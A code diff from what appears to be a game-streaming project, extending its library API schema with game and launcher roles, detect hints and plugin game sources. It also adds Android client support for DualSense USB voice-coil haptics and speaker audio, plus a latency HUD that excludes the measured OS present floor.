"null"
],
"description": "The **store this entry was claimed under** (D2), stamped by a `?store=`-qualified reconcile.\n`None` = an unclaimed provider entry or a manual one, both of which surface as `custom`.\n\nMaterialized onto the entry rather than looked up in [`Catalog::claims`] on every read so an\nentry is self-describing: its id and its `store` badge derive from the entry alone, and stay\ncorrect even while the claim map is being rewritten."
},
"title": {
"type": "string"
}
@@ -4409,6 +4454,10 @@
},
"description": "Per-title prep/undo steps — commands run as the host user; operator-privileged config."
},
"role": {
"$ref": "#/components/schemas/GameRole",
"description": "Whether this entry is a game or the launcher itself — see [`GameRole`]. A hand-added launcher\nentry is legal (an operator may want a \"Steam\" tile without installing the steam plugin)."
},
"title": {
"type": "string"
}
@@ -4467,6 +4516,17 @@
"type": "object",
"description": "What an operator (or a provider plugin) can tell the host about recognizing a title — the wire\nhalf of [`DetectSpec`], and the only part of it that is ever accepted from outside.\n\nDeliberately a **subset**: the store-derived signals (a Steam appid, a launcher's environment\nmarker) are things the host discovers for itself and would be meaningless — or dangerous — to take\non someone's word. What is left is what a provider genuinely knows and the host cannot guess: where\nthe title is installed, which executable is the game, what the process is called. All three are\noptional; supplying none is the same as supplying no hint at all.\n\nNever returned by the catalog API — see the module docs on why detect data does not cross the wire\noutbound.",
"properties": {
"env_marker": {
"oneOf": [
{
"type": "null"
},
{
"$ref": "#/components/schemas/EnvMarker",
"description": "A launcher-stamped environment marker (D3) — see [`EnvMarker`]."
}
]
},
"exe": {
"type": [
"string",
@@ -4487,6 +4547,15 @@
"null"
],
"description": "The executable's file name (`Hades.exe`), when its location isn't fixed. Weakest of the three\n— see [`DetectSpec::process_name`]."
},
"steam_appid": {
"type": [
"integer",
"null"
],
"format": "int32",
"description": "The Steam appid, for a title Steam itself installed (D3). On Linux this is the **sharpest**\nsignal that exists — Steam wraps every launch, native or Proton, in\n`reaper SteamLaunch AppId=<appid>`, whose lifetime is exactly the game's — so without it a\nsteam plugin's lease tracking would degrade from reaper-exact to install-dir prefix matching.",
"minimum": 0
}
}
},
@@ -4715,6 +4784,27 @@
}
}
},
"EnvMarker": {
"type": "object",
"description": "An environment variable a launcher stamps onto the game's process, identifying it.\n\nSerializable because it is now half of the inbound [`DetectHint`] too (D3) — a library plugin\nthat knows its launcher's marker (Heroic's `HEROIC_APP_NAME`, load-bearing under Proton) has to\nbe able to say so, since after extraction the host no longer reads that launcher's files itself.",
"required": [
"key"
],
"properties": {
"key": {
"type": "string",
"description": "The variable name (e.g. `HEROIC_GAME_ID`).",
"example": "HEROIC_APP_NAME"
},
"value": {
"type": [
"string",
"null"
],
"description": "The exact value to require, when the launcher's value identifies *this* title. `None` matches\nthe key's mere presence — only safe for launchers that run one game at a time."
}
}
},
"EventKind": {
"oneOf": [
{
@@ -5165,6 +5255,10 @@
],
"description": "The external provider owning this entry (custom-store entries synced by a provider\nplugin, RFC §8) — `None` for installed-store titles and manual custom entries. The\nconsole uses it for attribution; `GET /library?provider=` filters on it."
},
"role": {
"$ref": "#/components/schemas/GameRole",
"description": "Whether this entry is a game or the launcher itself — see [`GameRole`]."
},
"store": {
"type": "string",
"description": "Which store surfaced it: `\"steam\"` or `\"custom\"`.",
@@ -5296,6 +5390,14 @@
}
}
},
"GameRole": {
"type": "string",
"description": "What a library entry *is* — an ordinary title, or the launcher application itself (Steam Big\nPicture, Heroic, Playnite fullscreen). Purely a presentation hint: a launcher entry launches,\nleases and lists exactly like a game (design D4), and clients that don't know the field render it\nas a plain tile. Serde-default `game` and skip-serialized when default, so the wire is unchanged\nfor every entry that doesn't opt in.",
"enum": [
"game",
"launcher"
]
},
"GameSession": {
"type": "string",
"description": "How a session that **launches a game** (a library id on the Hello / apps.json / Decky pin) is\nserved (`design/gamemode-and-dedicated-sessions.md` §5.2). Orthogonal to the preset/lifecycle axes\n— a top-level [`DisplayPolicy`] field, NOT part of [`EffectivePolicy`], so a preset never clobbers\nit. Linux-only in effect (a launching Windows session opens into the one desktop).",
@@ -6334,6 +6436,13 @@
"title"
],
"properties": {
"category": {
"type": [
"string",
"null"
],
"description": "What KIND of plugin this is (`^[a-z][a-z0-9-]{0,31}$`), top-level rather than under `ui`\nbecause it describes the plugin, not its surface. The console knows one value today —\n`library` — which it filters **out of the nav**: six installed scanner plugins would otherwise\nflood the sidebar, and their real entry point is the Game sources surface (design D5). A\nlibrary plugin that genuinely wants its own page (rom-manager, which is much more than a\nscanner) simply omits the category."
},
"title": {
"type": "string",
"description": "Human-readable title for the console nav entry (164 chars; control chars stripped)."
@@ -6366,6 +6475,13 @@
"title"
],
"properties": {
"category": {
"type": [
"string",
"null"
],
"description": "The plugin's kind — see [`PluginRegistration::category`]."
},
"id": {
"type": "string"
},
@@ -6604,6 +6720,10 @@
},
"description": "Per-title prep/undo steps — commands run as the host user; operator-privileged config."
},
"role": {
"$ref": "#/components/schemas/GameRole",
"description": "Whether this entry is a game or the launcher itself — see [`GameRole`]. A library plugin\nemits its `launchers(cfg)` entries with `role: \"launcher\"`."
},
"title": {
"type": "string"
}
@@ -6780,26 +6900,46 @@
},
"ScannerInfo": {
"type": "object",
"description": "One installed-store scanner this host build supports, with its enable state — the unit the\nconsole renders a toggle for. The list is platform-gated at compile time (the scanners are),\nso the console never shows a toggle that cannot do anything on this host.",
"description": "One **game source** on this host, with its enable state — the unit the console renders a toggle\nfor. A source is either a scanner compiled into this build or a plugin that reconciles entries in\n(WP2.6); the console treats them identically, which is what makes the extraction invisible.",
"required": [
"id",
"label",
"enabled"
"enabled",
"origin"
],
"properties": {
"enabled": {
"type": "boolean",
"description": "Whether this host runs the scanner (default true)."
"description": "Whether this host runs the source (default true)."
},
"entries": {
"type": [
"integer",
"null"
],
"description": "How many entries this source currently contributes. `None` for a built-in scanner, whose\ncount would mean walking every launcher's files just to render a toggle.",
"minimum": 0
},
"id": {
"type": "string",
"description": "Stable scanner id — the same string the scanner's entries carry in their `store` field.",
"description": "Stable source id — the same string this source's entries carry in their `store` field. For a\nplugin source it is also its provider id and its store claim: one string, by construction, so\na user's disabled state survives a built-in scanner being replaced by its plugin.",
"example": "steam"
},
"label": {
"type": "string",
"description": "Human-facing name for the console toggle.",
"example": "Steam"
},
"origin": {
"$ref": "#/components/schemas/SourceOrigin",
"description": "Where the source comes from: `builtin` (a scanner in this host build) or `plugin`."
},
"provider": {
"type": [
"string",
"null"
],
"description": "The provider id backing a `plugin` source — absent for a built-in scanner."
}
}
},
@@ -6962,6 +7102,14 @@
}
}
},
"SourceOrigin": {
"type": "string",
"description": "Where a [`ScannerInfo`] comes from.",
"enum": [
"builtin",
"plugin"
]
},
"SourceView": {
"type": "object",
"description": "A configured catalog source and how its last refresh went.",
@@ -410,17 +410,68 @@ private fun DsRow(usbDev: android.hardware.usb.UsbDevice) {
Text("Grant USB access")
}
}
else -> Text(
if (model == DsDevice.Model.DUALSHOCK4) {
"Ready — captured at stream start: rumble, lightbar and gyro are " +
"driven directly."
} else {
"Ready — captured at stream start: rumble, adaptive triggers, lightbar " +
"and gyro are driven directly."
},
style = MaterialTheme.typography.bodySmall,
color = MaterialTheme.colorScheme.onSurfaceVariant,
)
else -> {
Text(
if (model == DsDevice.Model.DUALSHOCK4) {
"Ready — captured at stream start: rumble, lightbar and gyro are " +
"driven directly."
} else {
"Ready — captured at stream start: rumble, adaptive triggers, lightbar " +
"and gyro are driven directly."
},
style = MaterialTheme.typography.bodySmall,
color = MaterialTheme.colorScheme.onSurfaceVariant,
)
// Pad-audio self test. Deliberately reachable WITHOUT a stream: it exists to
// answer "can this phone drive this pad's audio endpoint at all", and gating
// that behind a live session would make it depend on the very thing one wants
// to rule out when a session misbehaves. DualSense only — the DS4 has no
// 4-channel haptics device.
if (model != DsDevice.Model.DUALSHOCK4) {
var testing by remember { mutableStateOf(false) }
var result by remember { mutableStateOf<String?>(null) }
result?.let {
Text(
it,
style = MaterialTheme.typography.bodySmall,
color = MaterialTheme.colorScheme.onSurfaceVariant,
)
}
OutlinedButton(
enabled = !testing,
onClick = {
testing = true
result = null
Thread({
// Its OWN connection: the renderer's descriptor must never be
// shared with another transfer engine, and that applies to
// this test as much as to the real path.
val conn = runCatching { usbManager.openDevice(usbDev) }.getOrNull()
val fd = conn?.fileDescriptor ?: -1
val r = if (fd >= 0) {
io.unom.punktfunk.kit.NativeBridge.nativePadAudioSelfTest(fd, 3, 60)
} else {
-1
}
conn?.close()
val msg = when {
r > 0 -> "Haptics test passed — $r frames to the pad."
r == -1 -> "Could not open the pad's audio interface. " +
"Some kernels refuse it; the pad still works normally."
r == -2 -> "The audio stream stopped part-way."
else -> "The stream opened but no audio reached the pad."
}
android.os.Handler(android.os.Looper.getMainLooper()).post {
result = msg
testing = false
}
}, "pf-pad-selftest-ui").start()
},
) {
Text(if (testing) "Testing…" else "Test haptics")
}
}
}
}
}
}
@@ -84,6 +84,9 @@ suspend fun connectToHost(
// The host's approval-list / trust-store label for this device — the same
// Build.MODEL convention the pairing dialogs use for nativePair.
Build.MODEL ?: "Android",
// Tier-A pad audio: ask for the 0xD1 plane only when a setting would render it, so a
// user with it off does not make the host provision endpoints it will never feed.
settings.padHaptics || settings.padSpeaker,
)
}
}
@@ -170,6 +170,26 @@ data class Settings(
*/
val dsCapture: Boolean = true,
/**
* Render the host's DualSense **voice-coil haptics** on a captured USB pad (tier A).
*
* The pad's own 4-channel audio device carries them, driven directly over usbfs — Android's
* audio framework denylists that device by VID/PID, so there is no supported route to it. The
* two kinds are arbitrated rather than mixed, and on evidence: wire rumble is suppressed only
* while haptics frames are actually arriving, so a title that drives classic rumble and sends
* no haptics audio keeps rumbling. Off, or on an uncaptured/Bluetooth pad, the pad stays on
* ordinary rumble (tier C), which on this client already drives the same actuators.
*/
val padHaptics: Boolean = true,
/**
* Render the pad's **built-in speaker** on a captured USB pad. Independent of [padHaptics] —
* the host sends the two as separate streams and either can play alone. Off by default: the
* speaker is a small, easily-startling loudspeaker in the user's hands, and unlike haptics it
* duplicates audio they are already hearing.
*/
val padSpeaker: Boolean = false,
/**
* How a physical mouse drives the host — the cross-client mouse model (see [MouseMode]).
* [MouseMode.DESKTOP] (default here) points absolutely; [MouseMode.CAPTURE] locks the pointer
@@ -271,6 +291,8 @@ class SettingsStore(context: Context) {
rumbleOnPhone = prefs.getBoolean(K_RUMBLE_ON_PHONE, false),
sc2Capture = prefs.getBoolean(K_SC2_CAPTURE, true),
dsCapture = prefs.getBoolean(K_DS_CAPTURE, true),
padHaptics = prefs.getBoolean(K_PAD_HAPTICS, true),
padSpeaker = prefs.getBoolean(K_PAD_SPEAKER, false),
mouseMode = prefs.getString(K_MOUSE_MODE, null)
?.let { name -> MouseMode.entries.firstOrNull { it.storedName == name } }
// Migration: the pre-enum Boolean "pointer_capture" (true = lock the pointer). Its
@@ -308,6 +330,8 @@ class SettingsStore(context: Context) {
.putBoolean(K_RUMBLE_ON_PHONE, s.rumbleOnPhone)
.putBoolean(K_SC2_CAPTURE, s.sc2Capture)
.putBoolean(K_DS_CAPTURE, s.dsCapture)
.putBoolean(K_PAD_HAPTICS, s.padHaptics)
.putBoolean(K_PAD_SPEAKER, s.padSpeaker)
.putString(K_MOUSE_MODE, s.mouseMode.storedName)
.putBoolean(K_INVERT_SCROLL, s.invertScroll)
.apply()
@@ -355,6 +379,8 @@ class SettingsStore(context: Context) {
const val K_RUMBLE_ON_PHONE = "rumble_on_phone"
const val K_SC2_CAPTURE = "sc2_capture"
const val K_DS_CAPTURE = "ds_capture"
const val K_PAD_HAPTICS = "pad_haptics"
const val K_PAD_SPEAKER = "pad_speaker"
const val K_MOUSE_MODE = "mouse_mode"
/** Legacy Boolean the [K_MOUSE_MODE] enum replaced — read once for migration, never written. */
@@ -896,6 +896,22 @@ private fun ControllerSettings(s: Settings, update: (Settings) -> Unit, onOpenCo
enabled = s.gamepadForwarding,
onCheckedChange = { on -> update(s.copy(dsCapture = on)) },
)
// Both only ever apply to a captured pad, so they follow that row and gate on it.
ToggleRow(
title = "Controller haptics",
subtitle = "Play the host's fine-grained DualSense haptics on the pad itself — " +
"the pad keeps ordinary rumble for games that don't send them",
checked = s.padHaptics,
enabled = s.gamepadForwarding && s.dsCapture,
onCheckedChange = { on -> update(s.copy(padHaptics = on)) },
)
ToggleRow(
title = "Controller speaker",
subtitle = "Play audio the game sends to the controller's own speaker",
checked = s.padSpeaker,
enabled = s.gamepadForwarding && s.dsCapture,
onCheckedChange = { on -> update(s.copy(padSpeaker = on)) },
)
}
}
}
@@ -26,13 +26,25 @@ import kotlin.math.roundToInt
* presentsWindow, presenterActive, feedP50Ms, codecP50Ms, skippedOverflowWindow]`. Every read
* is length-guarded, so an older native lib simply omits the lines it can't feed.
*
* The shown `display` and `end-to-end` numbers EXCLUDE the OS present floor (see [osFloorMs]) at
* every tier, and the detailed tier names what was excluded on its own line. The principle is the
* Apple client's: metrics report what Punktfunk controls, so the compositor's own latch and scanout
* which no client can pace under is reported rather than charged. It also stops the HUD reading
* worse than it is: the usual Android streaming overlays stop measuring at decode-complete, so a
* headline that carried the compositor's wait was compared against numbers that never contained it.
*
* The RAW figures are not lost the native 1 Hz `pf.present` logcat line keeps `paceMs`, `latchMs`
* and `e2eMs` unshaved, so a HUD-off A/B and any cross-session comparison still work off the
* untouched numbers.
*
* [verbosity] selects how many lines render (each tier a superset of the last see
* [StatsVerbosity]):
* - [StatsVerbosity.COMPACT] one line, `fps · end-to-end ms · Mb/s` (+ a loss flag).
* - [StatsVerbosity.NORMAL] the res/fps/Mb·s line, the end-to-end p50/p95 headline, and the
* reliability counters (1821) when nonzero.
* - [StatsVerbosity.DETAILED] also the decoder label, the video-feed descriptor (1013), and the
* stage equation (14/15, split into `host + network` when the Phase-2 terms at 16/17 are nonzero).
* - [StatsVerbosity.DETAILED] also the decoder label, the video-feed descriptor (1013), the
* stage equation (14/15, split into `host + network` when the Phase-2 terms at 16/17 are nonzero),
* and the excluded-floor line when one was measured.
* [StatsVerbosity.OFF] renders nothing. Older native layouts simply omit the lines they lack (the
* counter line falls back to the cumulative `lostTotal` at index 9 on a pre-window lib).
*/
@@ -95,9 +107,15 @@ internal fun StatsOverlay(
// equation gains its `display` term; otherwise (older lib / no callbacks) the endpoint
// honestly stays capture→decoded — the equation always tiles the headline interval.
val dispValid = s.size >= 26 && s[22] != 0.0
// The OS present floor this window (see [osFloorMs]) is excluded from every shown
// display / end-to-end number, at every tier — it is pipeline depth no client can pace
// under, so charging it to Punktfunk made our HUD read worse than clients that simply
// never measure it. 0.0 when unmeasured, which leaves the numbers exactly as raw as
// they were.
val floorMs = osFloorMs(s)
val tag = if (skew) "" else " (same-host clock)"
val (p50, p95, endpoint) = if (dispValid) {
Triple(s[24], s[25], "capture→displayed")
Triple(shave(s[24], floorMs), shave(s[25], floorMs), "capture→displayed")
} else {
Triple(s[2], s[3], "capture→decoded")
}
@@ -120,6 +138,11 @@ internal fun StatsOverlay(
// dropping/serializing, an fps deficit is upstream.
val split = s.size >= 30 && s[29] != 0.0 && (s[26] > 0 || s[27] > 0)
val displayTerm = when {
// Floor excluded: what remains of the `display` term is the half Punktfunk
// owns (the presenter's pace wait), and the excluded line below carries the
// latch — printing the split too would report the same milliseconds twice.
dispValid && floorMs > 0 ->
" + display ${"%.1f".format(shave(s[23], floorMs))}"
dispValid && split ->
" + display ${"%.1f".format(s[23])} " +
"(pace ${"%.1f".format(s[26])} + latch ${"%.1f".format(s[27])})"
@@ -143,16 +166,14 @@ internal fun StatsOverlay(
"= $hostTerms + $decodeTerm$displayTerm$presents",
Color.White,
)
// Metric fairness: the Apple client's HUD shaves ~2 refresh periods of OS
// pipeline floor off its shown display/end-to-end; Android shows raw. This twin
// applies the same shave so iPhone↔Android HUD numbers compare directly.
if (dispValid && hz > 0) {
val shave = 2000.0 / hz
// What the numbers above leave out, named — the Apple client's
// `os present +N excluded` line, same wording so the two HUDs read alike.
// (This replaces the old "≈ Apple-HUD equiv" twin: both clients now shave, and
// Android's shave is measured rather than assumed at 2 refresh periods.)
if (floorMs > 0) {
statLine(
"≈ Apple-HUD equiv: end-to-end " +
"${"%.1f".format((s[24] - shave).coerceAtLeast(0.0))} · display " +
"${"%.1f".format((s[23] - shave).coerceAtLeast(0.0))} (2 refresh)",
Color(0xFFA8D8B8),
"os present +${"%.1f".format(floorMs)} excluded (display pipeline minimum)",
Color(0xFF9AA6B8),
)
}
}
@@ -167,6 +188,37 @@ private fun statLine(text: String, color: Color) {
Text(text, color = color, fontFamily = FontFamily.Monospace, fontSize = 12.sp)
}
/**
* The OS present floor to exclude from the shown `display` / `end-to-end` numbers, ms the
* measured `latch` p50 at index 27, i.e. release`OnFrameRendered`: SurfaceFlinger's own latch and
* scanout. That is compositor pipeline depth no client can pace under, so it is reported as
* excluded rather than charged to Punktfunk the Apple client's policy since its presentation
* rebuild, where the same floor is measured from the display link's vend lead.
*
* Measured, not assumed: the previous Android treatment used a fixed `2000/hz` twin, but the latch
* varies with panel rate, tunnelled playback and the vendor's low-latency mode (~21 ms p50 observed
* where the ~2-interval model predicts less), and this term self-adapts to all three. It is also
* available on every render path the presenter's and both legacy release-immediately ones since
* the release stamp it starts from is parked on every render, so it does not depend on
* `presenterActive` (29).
*
* `0.0` means unmeasured no display stage this window (an older native lib, API < 33, or a
* platform that refused the callback), or no latch sample paired and every caller then leaves its
* number raw, which is the honest fallback: we exclude only what we actually measured.
*/
private fun osFloorMs(s: DoubleArray): Double {
val dispValid = s.size >= 26 && s[22] != 0.0
if (!dispValid || s.size < 28) return 0.0
return s[27].coerceAtLeast(0.0)
}
/**
* Subtract the excluded [floorMs] from a shown latency [ms], clamped at zero the percentiles are
* drawn from different sample sets (a p50 latch against a p50/p95 end-to-end), so the difference can
* legitimately go slightly negative on a well-paced window without anything being wrong.
*/
private fun shave(ms: Double, floorMs: Double): Double = (ms - floorMs).coerceAtLeast(0.0)
/**
* The single [StatsVerbosity.COMPACT] line: `238 fps · 1.3 ms · 921 Mb/s`. The end-to-end p50 term
* is dropped when no in-range latency sample landed (`latValid` false), and a loss flag
@@ -174,8 +226,9 @@ private fun statLine(text: String, color: Color) {
* one reliability signal worth surfacing even at the tersest tier.
*/
private fun compactLine(s: DoubleArray, latValid: Boolean): String {
// Prefer the capture→displayed end-to-end (s[24]) when a render timestamp landed this window.
val e2eP50 = if (s.size >= 26 && s[22] != 0.0) s[24] else s[2]
// Prefer the capture→displayed end-to-end (s[24]) when a render timestamp landed this window,
// less the excluded OS present floor — the same number the richer tiers headline.
val e2eP50 = if (s.size >= 26 && s[22] != 0.0) shave(s[24], osFloorMs(s)) else s[2]
val parts = buildList {
add("${s[0].roundToInt()} fps")
if (latValid) add("${"%.1f".format(e2eP50)} ms")
@@ -507,6 +507,28 @@ fun StreamScreen(session: ActiveSession, onDisconnect: () -> Unit) {
var dsUsbReceiver: BroadcastReceiver? = null
if (ds != null) {
feedback.sink = ds
// Tier-A pad audio: render the host's 0xD1 streams on the pad's own 4-channel USB
// audio device. Bound here rather than inside DsCapture because the session handle
// lives at this layer; DsCapture decides WHEN (it knows the wire index and the link
// lifetime), this decides WHETHER.
if (initialSettings.padHaptics || initialSettings.padSpeaker) {
ds.padAudio = object : DsCapture.PadAudioHook {
override fun start(pad: Int, fd: Int) {
val ok = NativeBridge.nativeStartPadAudio(
handle,
pad,
fd,
initialSettings.padHaptics,
initialSettings.padSpeaker,
)
Log.i("punktfunk", "pad audio on pad $pad: ${if (ok) "started" else "unavailable"}")
}
// Returns only once the render thread is joined — DsCapture calls this before
// closing the connection whose descriptor that thread borrows.
override fun stop(pad: Int) = NativeBridge.nativeStopPadAudio(handle, pad)
}
}
val usbManager = context.getSystemService(Context.USB_SERVICE) as UsbManager
val usbDev = ds.findUsbDevice()
when {
@@ -355,9 +355,11 @@ internal fun StreamScene(verbosity: StatsVerbosity = StatsVerbosity.DETAILED) {
// dispValid, displayP50, e2eDispP50, e2eDispP95].
// 10/9/16/1 = a 10-bit BT.2020 PQ (HDR) 4:2:0 feed so the DETAILED HUD renders its
// video-feed line; the display stage is valid (dispValid 1) so the headline is the
// directly-measured capture→displayed pair (1.8/2.6) and the Phase-2 stage terms
// (host 0.6 + network 0.3 + decode 0.4 + display 0.5) tile it, rendering the full split
// equation; the decoder label shows the ranked low-latency decoder. Light per-window loss
// directly-measured capture→displayed pair, less the excluded OS present floor (the 0.3
// latch p50) — 1.5/2.3 shown from 1.8/2.6 raw — and the Phase-2 stage terms
// (host 0.6 + network 0.3 + decode 0.4 + display 0.2) tile the shaved headline, with the
// `os present +0.3 excluded` line naming what came off; the decoder label shows the ranked
// low-latency decoder. Light per-window loss
// (lost 2 · skipped 1 · FEC 5 of 238) so the reliability line (NORMAL/DETAILED) and the
// compact loss flag both render.
StatsOverlay(
@@ -23,8 +23,9 @@ import android.view.InputDevice
* Input: parse ([DsDevice.parseState]) typed mirror on an [GamepadRouter.ExternalPad] (buttons
* diffed, axes on-change the exit chord participates like any pad) + the rich plane (touch
* normalized to the wire's 0..65535 screen space on-change; motion forwarded per report in raw
* device units, the wire's contract). The wire slot is claimed lazily on the FIRST parsed report
* and freed on unplug/[stop], so indices never leak.
* device units, the wire's contract). The wire slot is claimed when the capture engages, with the
* first parsed report as the fallback for a claim that found no free index, and freed on
* unplug/[stop], so indices never leak.
*
* Feedback: implements [GamepadFeedback.PadFeedbackSink] rumble / trigger / lightbar / player
* LED events addressed to this pad's wire index become USB output reports on the physical pad
@@ -78,6 +79,33 @@ class DsCapture(
@Volatile
var onActiveChanged: ((active: Boolean) -> Unit)? = null
/**
* Tier-A pad audio, bound by the app layer (which owns the session handle).
*
* [start] is called once the router has assigned this pad a wire index, which the host uses to
* address the `0xD1` stream. [stop] is called **before** the USB link closes on [stop] and on
* unplug alike and must not return until nothing is still writing to the descriptor.
*/
interface PadAudioHook {
fun start(pad: Int, fd: Int)
fun stop(pad: Int)
}
@Volatile
var padAudio: PadAudioHook? = null
/** True once [PadAudioHook.start] has run for the current capture, so it fires exactly once. */
@Volatile private var padAudioStarted = false
/**
* The renderer's OWN connection to the pad.
*
* It must not share [usb]'s descriptor: two transfer engines on one usbfs descriptor reap each
* other's completions (see [HidUsbLink.openAuxConnection]), which strands both the HID reader
* and the audio ring. Closed only after the hook's stop has returned.
*/
@Volatile private var padAudioConn: android.hardware.usb.UsbDeviceConnection? = null
val isActive: Boolean get() = model != null
/** First attached Sony USB pad, for the permission flow. Needs no permission to enumerate. */
@@ -105,12 +133,17 @@ class DsCapture(
// (the same init hid-playstation/SDL send on open).
if (m != DsDevice.Model.DUALSHOCK4) usb.writeRaw(0, DsDevice.ds5InitReport(m))
Log.i(TAG, "Sony pad captured over USB: PID=0x%04x model=%s".format(dev.productId, m))
ensureSlot(m)
onActiveChanged?.invoke(true)
return true
}
/** Stop the link and free the wire slot (host tears the virtual pad down). Idempotent. */
fun stop() {
// Before anything touches the link: the pad-audio renderer borrows this connection's
// descriptor, and `usb.stop()` closes it. The hook does not return until its thread is
// joined, so ordering this first is what makes the borrow sound.
stopPadAudio()
val m = model
if (m != null) {
// The interfaces are about to release with the kernel driver still detached — a
@@ -136,16 +169,112 @@ class DsCapture(
private fun onReport(report: ByteArray, len: Int) {
val m = model ?: return
if (!DsDevice.parseState(m, report, len, state)) return
val p = pad ?: router.openExternal(m.pref)?.also {
pad = it
Log.i(TAG, "captured $m → wire pad ${it.index}")
} ?: return // all 16 wire indices taken — drop until one frees
// Normally claimed already, at capture time; this is the retry for a capture that engaged
// while every wire index was taken.
val p = pad ?: ensureSlot(m) ?: return // all 16 taken — drop until one frees
mirrorTyped(p)
mirrorRich(p, m)
}
/**
* Claim this capture's wire slot and start pad audio on it. Idempotent; null when all 16
* indices are taken.
*
* Claimed when the capture engages rather than on the first report, because a pad that reports
* nothing is still a pad: with the lazy claim, a captured-but-silent pad left the host with no
* arrival, hence no virtual pad, no pad-audio capability and so no `0xD1` a renderer sitting
* at zero frames, indistinguishable from a broken pipeline (it took a physical replug to
* clear). Callable from the main thread (capture start) and the link thread (the fallback).
*/
@Synchronized
private fun ensureSlot(m: DsDevice.Model): GamepadRouter.ExternalPad? {
pad?.let { return it }
val p = router.openExternal(m.pref) ?: return null
pad = p
Log.i(TAG, "captured $m → wire pad ${p.index}")
// The wire index exists from here on, and the host addresses pad audio by it.
startPadAudio(p.index)
return p
}
/** Hand the renderer its own descriptor. Caller holds the monitor; fires once per capture. */
private fun startPadAudio(index: Int) {
val hook = padAudio ?: return
if (padAudioStarted) return
// A dedicated connection, NOT usb.fileDescriptor — see padAudioConn.
val conn = usb.openAuxConnection()
val fd = conn?.fileDescriptor ?: -1
if (fd < 0) {
conn?.close()
Log.w(TAG, "pad audio: could not open a second USB connection")
return
}
padAudioConn = conn
padAudioStarted = true
// Real-world self test, opt-in: `adb shell setprop debug.punktfunk.pad_audio_selftest 3`
// drives the voice coils for N seconds through the actual client path before the renderer
// takes over — the one check that proves the descriptor, the interface claim and the write
// path all work on THIS device, without needing a host to be streaming. Same convention as
// debug.punktfunk.force_parts.
val secs = runCatching {
Class.forName("android.os.SystemProperties")
.getMethod("get", String::class.java, String::class.java)
.invoke(null, "debug.punktfunk.pad_audio_selftest", "0") as String
}.getOrNull()?.toIntOrNull() ?: 0
if (secs > 0) {
// Diagnostic mode: the self test OWNS this descriptor for the capture, and the renderer
// must not also drive it — two engines on one usbfs descriptor reap each other's
// completions, which is precisely the fault this test exists to expose.
Thread({
val r = NativeBridge.nativePadAudioSelfTest(fd, secs, 60)
Log.i(TAG, "pad audio self-test → ${if (r > 0) "PASS ($r frames)" else "FAIL ($r)"}")
}, "pf-pad-selftest").start()
} else {
// B6: hand the coils back before the first haptics frame. Any rumble earlier in this
// session asserted HAPTICS_SELECT, which firmware-mutes them, and nothing else ever
// clears it — so without this the stream renders into a muted actuator and looks for
// all the world like the host is sending nothing.
restoreAudioHaptics()
hook.start(index, fd)
}
}
/**
* B6: clear the rumble/haptics-select bits so the pad's voice coils answer the audio-haptics
* path again. EP0-direct, like the other out-of-band writes here: this has to land even when
* the interrupt-OUT queue is busy or draining, and it is idempotent.
*/
private fun restoreAudioHaptics() {
val m = model ?: return
if (m == DsDevice.Model.DUALSHOCK4) return // no voice coils, no audio-haptics path
if (!usb.writeControl(DsDevice.ds5AudioHapticsReport(m))) {
Log.w(TAG, "pad audio: could not hand the coils back to audio haptics")
}
}
/**
* Stop the renderer, then close the connection whose descriptor it borrows in that order.
*
* Runs on [stop] and on unplug alike. Skipping it on unplug left the render thread writing to a
* descriptor whose device was gone, leaked the connection, and because the started flag stayed
* set and the native tier-A registry stayed armed for that index cost the pad both its pad
* audio and its wire rumble on the way back in.
*/
@Synchronized
private fun stopPadAudio() {
if (!padAudioStarted) return
padAudioStarted = false
// The hook's stop joins the render thread, so nothing is using the descriptor once it
// returns — only then is it safe to close the connection that owns it.
pad?.let { padAudio?.stop(it.index) }
padAudioConn?.close()
padAudioConn = null
}
private fun onLinkClosed() {
Log.i(TAG, "Sony USB link closed (unplug)")
// Before releaseSlot(), which forgets the wire index the renderer is addressed by.
stopPadAudio()
disarmBackstop()
val wasActive = model != null
model = null
@@ -238,6 +367,10 @@ class DsCapture(
// write — as this used to — meant a discarded stop left the motors running with
// nothing scheduled to try again; a USB pad holds its last level until told zero.
if (sent) disarmBackstop() else armBackstop(STOP_RETRY_MS)
// B6: the stop report just re-asserted HAPTICS_SELECT on its way past, so if a
// haptics stream is live the coils it drives were muted by the very write that
// silenced the motors. Give them back.
if (sent && padAudioStarted) restoreAudioHaptics()
}
}
@@ -276,6 +276,21 @@ object DsDevice {
* the classic compat-vibration path AND `VIBRATION2` (firmware 2.24's full-range replot;
* older firmware ignores the unknown flag2 bit) the host parser accepts either.
*/
/**
* B6: hand the voice coils back to the audio-haptics path.
*
* Every [ds5RumbleReport] asserts `HAPTICS_SELECT` (flag0 bit1), which is SDL's
* "disable audio haptics" bit the firmware mutes the coils the 0xD1 haptics stream drives.
* Until now NOTHING ever cleared it again, so a single rumble anywhere in a session left tier-A
* haptics silent for the rest of that pad's life, with no error and nothing in a log.
*
* The undo is a report whose flag0 has BOTH bits clear (SDL's own comment: "Leaving emulated
* rumble bits off will restore audio haptics"). No other valid flag is set, so nothing else
* about the pad's state is touched. Mirrors `Ds5Feedback::audio_haptics_packet` on the desktop
* client, which is the same packet one transport over.
*/
fun ds5AudioHapticsReport(model: Model): ByteArray = newDs5(model)
fun ds5RumbleReport(model: Model, low: Int, high: Int): ByteArray = newDs5(model).also {
it[1] = (DS5_FLAG0_COMPAT_VIBRATION or DS5_FLAG0_HAPTICS_SELECT).toByte()
it[39] = DS5_FLAG2_VIBRATION2.toByte()
@@ -98,6 +98,40 @@ class HidUsbLink(
/** First attached matching device, or null. Does not need USB permission to enumerate. */
fun findDevice(): UsbDevice? = usb.deviceList.values.firstOrNull(config.deviceMatch)
/**
* Open a SECOND connection to the same device, for a consumer that needs its own descriptor.
*
* **Not a convenience a correctness requirement.** `UsbDeviceConnection.requestWait()`
* returns *any* completed request on that connection, and the same is true of the usbfs reap
* ioctl underneath it: two independent transfer engines sharing one descriptor steal each
* other's completions. This link's reader owns its connection exclusively (see the note on
* [outQueue]), so anything else driving transfers on this device the isochronous audio
* renderer must open its own.
*
* usbfs allows the same device to be opened many times, and claims are per (descriptor,
* interface), so a claim made on this connection does not conflict with one made on that.
*
* The caller owns the returned connection and must close it.
*/
fun openAuxConnection(): UsbDeviceConnection? {
val dev = device ?: return null
return usb.openDevice(dev)
}
/**
* The open connection's usbfs file descriptor, or -1 when the link is not running.
*
* Handed to native code that drives interfaces this link deliberately does NOT claim the
* pad's isochronous audio endpoint (see `pad_audio` on the native side), which Android's own
* USB API cannot reach because `UsbRequest` rejects anything that is not bulk or interrupt.
